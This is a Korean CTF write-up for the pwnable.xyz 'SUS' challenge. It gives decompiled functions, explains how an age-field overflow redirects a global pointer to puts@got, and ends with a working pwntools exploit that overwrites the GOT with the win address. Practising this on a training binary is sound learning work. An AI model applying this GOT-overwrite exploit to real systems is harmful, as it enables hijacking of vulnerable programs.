[pwnable.xyz]SUS
64비트 바이너리고 PIE빼고 다 걸려있다.
[*] '/vagrant/ctfs/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
create_user함수에서는 s라는 변수를 동적할당해준 후 s 변수에 이름을 입력받아 cur이라는 전역변수에 주소를 저장한다. 전역변수에는 아마 heap주소가 들어갈거다.
unsigned __int64 create_user()
{
void *s; // [rsp+0h] [rbp-1060h]
unsigned __int64 v2; // [rsp+1058h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !s )
{
s = malloc(32uLL);
memset(s, 0, 32uLL);
}
printf("Name: ", s);
read(0, s, 32uLL);
printf("Age: ", s, s);
read_int32();
cur = &s;
return __readfsqword(0x28u) ^ v2;
}
여기는 출력해주는 곳이다.
int print_user()
{
int result; // eax
result = cur;
if ( cur )
{
printf("User: %s\n", *cur);
result = printf("Age: %d\n", *(cur + 72));
}
return result;
}
Name과 Age를수정할 수 있다.
unsigned __int64 edit_usr()
{
__int64 v0; // rsi
__int64 v1; // rbx
unsigned __int64 v3; // [rsp+1018h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( cur )
{
printf("Name: ");
v0 = *cur;
read(0, *cur, 32uLL);
printf("Age: ", v0);
v1 = cur;
*(v1 + 72) = read_int32();
}
return __readfsqword(0x28u) ^ v3;
}
cur에는 포인터로 heap주소가 저장된다. 근데 age를 입력할 때 16개 이상 입력받게되면 이 포인터를 덮을 수 있다.
그래서 age 입력받을 때 heap을 가르키는 포인터를 puts@got로 바꾸고 name을 edit할때 cur을 참조하는데 우리는 *cur에 puts@got로 덮어놨으니까 name입력받을 때 win의 주소로 넣으면 puts가 실행되면 win함수가 실행될거다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote("svc.pwnable.xyz", 30011)
win = e.symbols['win']
cur = 0x0000000000602268
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def create_user(name,age):
sa('> ','1')
sa(': ',name)
sa(': ',str(age))
def print_user():
sa('> ','2')
def edit_user(name,age):
sa('> ','3')
sa(': ',name)
sa(': ',str(age))
create_user('A', 1)
edit_user('B', 'C' * 16 + p64(e.got['puts']))
edit_user(p64(win), 1)
p.interactive()